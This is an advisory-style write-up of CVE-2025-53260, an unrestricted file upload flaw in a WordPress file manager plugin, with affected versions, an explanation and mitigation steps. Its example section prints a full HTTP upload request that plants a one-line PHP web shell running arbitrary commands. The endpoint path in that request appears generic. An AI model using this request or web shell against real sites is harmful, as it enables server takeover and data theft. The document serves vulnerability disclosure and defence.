Overview
The cybersecurity landscape is littered with vulnerabilities, and CVE-2025-53260 is a critical one that cannot be ignored. This vulnerability resides in the popular File Manager Plugin for WordPress developed by getredhawkstudio. It is a type of Unrestricted File Upload vulnerability that allows malicious users to upload a web shell to a web server, potentially leading to a system compromise or data leakage.
This vulnerability is particularly dangerous due to the widespread use of WordPress as a CMS worldwide. Whether you’re running a small business website or a large-scale e-commerce store, if you’re using the affected versions of this plugin, your system’s security is at risk.
Vulnerability Summary
CVE ID: CVE-2025-53260
Severity: Critical (9.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
getredhawkstudio File Manager Plugin For WordPress | n/a through 7.5
How the Exploit Works
The vulnerability stems from the lack of proper file type validation in the File Manager Plugin’s upload feature. An attacker can craft a malicious web shell (a script that enables remote administration) disguised as a benign file, and upload it to the web server via the plugin. Once uploaded, the attacker can access and execute this web shell, thereby gaining the ability to execute arbitrary commands, manipulate the server’s file system, and potentially access sensitive data.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited using an HTTP request to upload a malicious PHP web shell:
POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="cmd"
upload
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="target"
l1_Lw
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload[]"; filename="shell.php"
Content-Type: application/x-php
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="reqid"
68747470733a2f2f73656375726974792e6578616d706c652e636f6d2f
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, the attacker is uploading a PHP web shell (`shell.php`) that can execute arbitrary commands sent via the `cmd` GET parameter.
Mitigation Guidance
The most effective way to mitigate this vulnerability is to apply the vendor-supplied patch. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation measure by blocking or alerting on attempts to exploit this vulnerability. Regularly updating all software and plugins, and restricting file upload to necessary file types only are also recommended as general best practices to enhance the overall security posture.